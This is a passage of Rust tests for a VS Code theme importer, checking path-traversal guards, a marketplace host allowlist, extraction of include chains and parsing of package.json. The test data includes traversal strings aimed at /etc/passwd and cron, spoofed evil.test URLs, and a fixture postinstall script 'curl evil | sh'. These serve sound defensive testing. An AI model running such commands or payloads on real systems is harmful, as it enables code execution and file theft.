    fn a_hostile_theme_label_cannot_name_a_path() {
        let scratch = Path::new("/tmp/croft-scratch-fixture");
        for label in [
            "../../../../tmp/PWNED",
            "/etc/cron.d/pwn",
            "..",
            "../..",
            "a/b/c",
            "a\\b",
            "....//....//x",
        ] {
            let stem = file_stem(label);
            assert!(
                !stem.contains('/') && !stem.contains('\\'),
                "{label:?} kept a separator: {stem:?}"
            );
            assert!(stem != ".." && stem != ".", "{label:?} stayed traversal");
            let out = scratch.join(format!("{stem}.json"));
            assert!(
                out.starts_with(scratch),
                "{label:?} escaped the scratch dir: {}",
                out.display()
            );
        }
        // A label with nothing to keep still yields a usable name.
        assert_eq!(file_stem("///"), "theme");
        assert_eq!(file_stem(""), "theme");

        // Nothing bounds a label's length, and the stem becomes a filename:
        // past ~255 bytes the write fails with ENAMETOOLONG, stopping the
        // import on the theme's NAME. Every stem stays a usable filename.
        for label in [
            "x".repeat(4096),
            format!("{}{}", "a".repeat(70), "/".repeat(70)),
            // A cut landing in a run of separators must not empty the stem.
            format!("{}{}", "-".repeat(64), "real"),
            "é".repeat(300),
        ] {
            let stem = file_stem(&label);
            assert!(
                !stem.is_empty(),
                "empty stem for a {}-char label",
                label.len()
            );
            assert!(stem.len() <= 64, "stem of {} bytes: {stem:?}", stem.len());
            assert!(!stem.starts_with('-') && !stem.ends_with('-'), "{stem:?}");
        }
        // And an ordinary label survives recognisably, so a marketplace
        // import and a file import of the same theme still agree on an id.
        assert_eq!(file_stem("Nord"), "Nord");
        assert_eq!(file_stem("One Dark Pro"), "One-Dark-Pro");
    }

    /// Every hop is checked, not just the first.
    ///
    /// The allowlist on user input decides where a fetch may START. Open VSX
    /// answers its download URL with a 302 to its CDN, so hops must be
    /// followed — and the moment they are, a single open redirect at either
    /// gallery would carry the fetch anywhere unless each hop is re-checked.
    #[test]
    fn only_marketplace_hosts_are_fetched_from() {
        for url in [
            "https://marketplace.visualstudio.com/_apis/x",
            "https://open-vsx.org/api/vscode/theme-monokai/latest",
            "https://openvsx.eclipsecontent.org/vscode/theme-monokai/1.0.0/x.vsix",
            // Case is not significant in a hostname.
            "https://Open-VSX.org/api/a/b/latest",
        ] {
            assert!(check_host(url).is_ok(), "must allow {url}");
        }
        for url in [
            "https://evil.test/x.vsix",
            // The shapes that defeat a naive prefix or suffix check.
            "https://open-vsx.org.evil.test/x.vsix",
            "https://evil.test/open-vsx.org/x.vsix",
            "https://open-vsx.org@evil.test/x.vsix",
            "https://openvsx.eclipsecontent.org.evil.test/x",
            // Not https at all.
            "http://open-vsx.org/x.vsix",
            "file:///etc/passwd",
            "",
        ] {
            assert!(check_host(url).is_err(), "must refuse {url}");
        }
        // Userinfo takes the host AFTER the `@`, which is the real host.
        assert_eq!(
            host_of("https://evil.test@open-vsx.org/x").as_deref(),
            Some("open-vsx.org")
        );
    }

    /// Build a `.vsix` holding the given `(member, contents)` pairs.
    fn make_vsix(path: &Path, members: &[(&str, &str)]) {
        use std::io::Write as _;
        let f = std::fs::File::create(path).unwrap();
        let mut z = zip::ZipWriter::new(f);
        let opts = zip::write::SimpleFileOptions::default()
            .compression_method(zip::CompressionMethod::Stored);
        for (name, body) in members {
            z.start_file(*name, opts).unwrap();
            z.write_all(body.as_bytes()).unwrap();
        }
        z.finish().unwrap();
    }

    /// A theme that extends another must arrive with its whole chain, laid
    /// out the way the archive had it.
    ///
    /// This is not an exotic shape: of the eight themes VS Code itself ships,
    /// four use `include`, and `dark_modern` → `dark_plus` → `dark_vs` is two
    /// hops. Writing the chosen member out under a flat name at the scratch
    /// root — which is what this did first — resolves nothing, because the
    /// converter looks for an include RELATIVE TO THE INCLUDING FILE.
    #[test]
    fn a_theme_arrives_with_its_whole_include_chain() {
        let dir = tempfile::tempdir().unwrap();
        let vsix = dir.path().join("x.vsix");
        make_vsix(
            &vsix,
            &[
                (
                    "extension/themes/dark_modern.json",
                    r##"{"include": "./dark_plus.json", "colors": {"editor.background": "#111111"}}"##,
                ),
                (
                    // A comment, to prove the include is found through JSONC
                    // rather than a strict parse.
                    "extension/themes/dark_plus.json",
                    "{\n  // extends the base\n  \"include\": \"./dark_vs.json\"\n}",
                ),
                (
                    "extension/themes/dark_vs.json",
                    r##"{"name": "Dark Base", "colors": {"editor.foreground": "#eeeeee"}}"##,
                ),
                // A member NOT in the chain must not be extracted.
                ("extension/themes/unrelated.json", r#"{"name": "Nope"}"#),
            ],
        );
        let scratch = dir.path().join("scratch");
        std::fs::create_dir(&scratch).unwrap();

        let entry = extract_theme_chain(&vsix, "./themes/dark_modern.json", &scratch).unwrap();

        // The entry keeps its archive-relative position, not a flat name.
        assert!(
            entry.ends_with("themes/dark_modern.json"),
            "entry at {}",
            entry.display()
        );
        // Every file in the chain is present, at the layout the includes need.
        for name in ["dark_modern.json", "dark_plus.json", "dark_vs.json"] {
            assert!(
                scratch.join("themes").join(name).is_file(),
                "{name} missing from the extracted chain"
            );
        }
        // And only the chain: an unrelated theme in the same archive stays in
        // it, because this lifts one theme rather than unpacking the package.
        assert!(
            !scratch.join("themes/unrelated.json").exists(),
            "a member outside the chain was extracted"
        );
        // The converter can now actually follow it.
        let converted = crate::vscode_theme::convert_file(&entry, None).unwrap();
        assert!(
            converted.manifest.contains("Dark Base"),
            "the base theme's name did not survive the chain: {}",
            converted.manifest
        );
    }

    /// A theme whose `tokenColors` names a file (#1177) arrives with that
    /// file beside it, for every theme in the chain, so the converter can
    /// read it.
    #[test]
    fn a_token_colors_file_is_extracted_with_its_theme() {
        let dir = tempfile::tempdir().unwrap();
        let vsix = dir.path().join("x.vsix");
        make_vsix(
            &vsix,
            &[
                (
                    "extension/themes/top.json",
                    r##"{"include": "./base.json", "tokenColors": "./top-tokens.json"}"##,
                ),
                (
                    "extension/themes/base.json",
                    r##"{"name": "Base", "tokenColors": "sub/base-tokens.json"}"##,
                ),
                (
                    "extension/themes/top-tokens.json",
                    r##"[{"scope": "comment", "settings": {"foreground": "#00ff00"}}]"##,
                ),
                (
                    "extension/themes/sub/base-tokens.json",
                    r##"[{"scope": "string", "settings": {"foreground": "#ff0000"}}]"##,
                ),
            ],
        );
        let scratch = dir.path().join("scratch");
        std::fs::create_dir(&scratch).unwrap();

        let entry = extract_theme_chain(&vsix, "themes/top.json", &scratch).unwrap();

        for name in ["top-tokens.json", "sub/base-tokens.json"] {
            assert!(
                scratch.join("themes").join(name).is_file(),
                "{name} missing from the extraction"
            );
        }
        crate::vscode_theme::convert_file(&entry, None).unwrap();
    }

    /// A chain that points outside the archive, or loops, is refused.
    #[test]
    fn a_hostile_include_chain_is_refused() {
        let dir = tempfile::tempdir().unwrap();
        let scratch = dir.path().join("s");

        // Traversal in the include: the extraction refuses before the
        // converter ever sees it.
        let vsix = dir.path().join("t.vsix");
        make_vsix(
            &vsix,
            &[(
                "extension/themes/a.json",
                r#"{"include": "../../../../etc/passwd"}"#,
            )],
        );
        std::fs::create_dir_all(&scratch).unwrap();
        let err = extract_theme_chain(&vsix, "themes/a.json", &scratch).unwrap_err();
        assert!(
            format!("{err:#}").contains("escapes") || format!("{err:#}").contains("reading"),
            "unexpected error: {err:#}"
        );
        assert!(
            !dir.path().join("etc").exists() && !scratch.join("../etc").exists(),
            "traversal wrote outside the scratch directory"
        );

        // A cycle terminates rather than spinning to the depth cap.
        let cyc = dir.path().join("c.vsix");
        make_vsix(
            &cyc,
            &[
                ("extension/a.json", r#"{"include": "./b.json"}"#),
                ("extension/b.json", r#"{"include": "./a.json"}"#),
            ],
        );
        let s2 = dir.path().join("s2");
        std::fs::create_dir_all(&s2).unwrap();
        // Both files extract, the cycle is noticed, and it returns rather
        // than looping.
        let entry = extract_theme_chain(&cyc, "a.json", &s2).unwrap();
        assert!(entry.ends_with("a.json"));
        assert!(
            s2.join("b.json").is_file(),
            "the cycle's other half is there"
        );
    }

    /// The scratch directory removes itself, on the failure path too.
    #[test]
    fn the_scratch_directory_cleans_up_after_itself() {
        let dir = tempfile::tempdir().unwrap();
        let path = dir.path().join("scratch");
        {
            let scratch = Scratch::new(path.clone()).unwrap();
            std::fs::write(scratch.path().join("leftover.bin"), b"x").unwrap();
            assert!(path.is_dir(), "staging: the directory exists while held");

            // A second create on the same path is an ERROR, not an adoption:
            // that is what makes a planted directory fail loudly instead of
            // being deleted or written into.
            assert!(
                Scratch::new(path.clone()).is_err(),
                "an existing path must not be adopted"
            );

            #[cfg(unix)]
            {
                use std::os::unix::fs::PermissionsExt;
                let mode = std::fs::metadata(&path).unwrap().permissions().mode();
                assert_eq!(
                    mode & 0o077,
                    0,
                    "the scratch dir must not be group- or world-accessible: {mode:o}"
                );
            }
        }
        assert!(
            !path.exists(),
            "the scratch directory outlived its guard, contents and all"
        );
    }

    /// The host allowlist is the whole trust boundary: without it this is a
    /// general downloader wired to an archive extractor.
    #[test]
    fn a_url_that_is_not_a_marketplace_is_refused() {
        for input in [
            "https://evil.test/items?itemName=a.b",
            "https://marketplace.visualstudio.com.evil.test/items?itemName=a.b",
            "http://user@evil.test/items?itemName=a.b",
            "https://marketplace.visualstudio.com/items",
            "",
            "not-an-id",
            "a.",
            ".b",
            "a b.c",
            "../../etc/passwd",
            "a.b/../../c",
        ] {
            assert!(parse_ref(input).is_err(), "must refuse {input:?}");
        }
    }

    #[test]
    fn only_the_theme_list_is_read_from_a_package_json() {
        let pkg = r##"{
          "name": "x", "main": "./out/extension.js",
          "activationEvents": ["*"],
          "scripts": { "postinstall": "curl evil | sh" },
          "contributes": {
            "commands": [{ "command": "x.run" }],
            "themes": [
              { "label": "One Dark Pro", "uiTheme": "vs-dark", "path": "./themes/OneDark-Pro.json" },
              { "id": "flat", "uiTheme": "vs-dark", "path": "themes/flat.json" }
            ]
          }
        }"##;
        let themes = contributed_themes(pkg, None).unwrap();
        assert_eq!(
            themes,
            vec![
                ContributedTheme {
                    label: "One Dark Pro".into(),
                    path: "themes/OneDark-Pro.json".into()
                },
                ContributedTheme {
                    label: "flat".into(),
                    path: "themes/flat.json".into()
                },
            ],
            "the leading ./ is stripped and `id` stands in for a missing label"
        );
        // An extension with no themes is refused rather than half-handled.
        assert!(contributed_themes(r#"{"contributes":{"commands":[]}}"#, None).is_err());
        assert!(contributed_themes("not json", None).is_err());

        // A `%key%` label is VS Code's localisation placeholder, resolved
        // from `package.nls.json`. Unresolved, the themes VS Code itself
        // bundles import as the literal "%themeLabel%" and derive the id
        // "themelabel" — a name no user typed or would recognise.
        let nls_pkg =
            r#"{"contributes":{"themes":[{"label":"%themeLabel%","path":"./themes/m.json"}]}}"#;
        let bundle = r#"{"themeLabel":"Monokai","description":"unrelated"}"#;
        let resolved = contributed_themes(nls_pkg, Some(bundle)).unwrap();
        assert_eq!(resolved[0].label, "Monokai");
        // No bundle, or one lacking the key, leaves the label as written:
        // "%themeLabel%" is confusing, but an empty name is worse.
        assert_eq!(
            contributed_themes(nls_pkg, None).unwrap()[0].label,
            "%themeLabel%"
        );
        assert_eq!(
            contributed_themes(nls_pkg, Some(r#"{"other":"x"}"#)).unwrap()[0].label,
            "%themeLabel%"
        );
        // A malformed bundle must not fail the import.
        assert_eq!(
            contributed_themes(nls_pkg, Some("not json")).unwrap()[0].label,
            "%themeLabel%"
        );
        // A label that merely CONTAINS a percent sign is not a placeholder.
        let pct = r#"{"contributes":{"themes":[{"label":"100% Dark","path":"./t.json"}]}}"#;
        assert_eq!(
            contributed_themes(pct, Some(bundle)).unwrap()[0].label,
            "100% Dark"
        );
    }

    /// The gallery gzips the `.vsix`, so the bytes that arrive are a gzip
    /// stream wrapping a zip. Sniffed by magic, and a plain zip passes
    /// through untouched.
    #[test]
    fn a_gzipped_vsix_is_unwrapped_and_a_plain_one_is_not() {
        use std::io::Write;
        let zip_magic = b"PK\x03\x04rest of a zip";
        assert_eq!(
            gunzip_if_needed(zip_magic.to_vec()).unwrap(),
            zip_magic.to_vec(),
            "a plain zip is passed through byte for byte"
        );
        let mut enc = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
        enc.write_all(zip_magic).unwrap();
        let gzipped = enc.finish().unwrap();
        assert_eq!(&gzipped[..2], &[0x1f, 0x8b], "fixture really is gzip");
        assert_eq!(
            gunzip_if_needed(gzipped).unwrap(),
            zip_magic.to_vec(),
            "and a gzipped one is unwrapped to the same bytes"
        );
    }

    /// Several themes in one extension must not silently convert the first.
    #[test]
    fn a_multi_theme_extension_asks_which_one() {
        let themes = vec![
            ContributedTheme {
                label: "Catppuccin Mocha".into(),
                path: "themes/mocha.json".into(),
            },
            ContributedTheme {
                label: "Catppuccin Latte".into(),
                path: "themes/latte.json".into(),
            },
        ];
        let err = pick_theme(&themes, None).unwrap_err().to_string();
        assert!(
            err.contains("Catppuccin Mocha") && err.contains("Catppuccin Latte"),
            "{err}"
        );
        assert_eq!(
            pick_theme(&themes, Some("catppuccin latte")).unwrap().path,
            "themes/latte.json",
            "the match is case-insensitive"
        );
        let miss = pick_theme(&themes, Some("Nord")).unwrap_err().to_string();
        assert!(miss.contains("no theme called"), "{miss}");

        // A single-theme extension needs no choice.
        let one = &themes[..1];
        assert_eq!(pick_theme(one, None).unwrap().path, "themes/mocha.json");
    }
}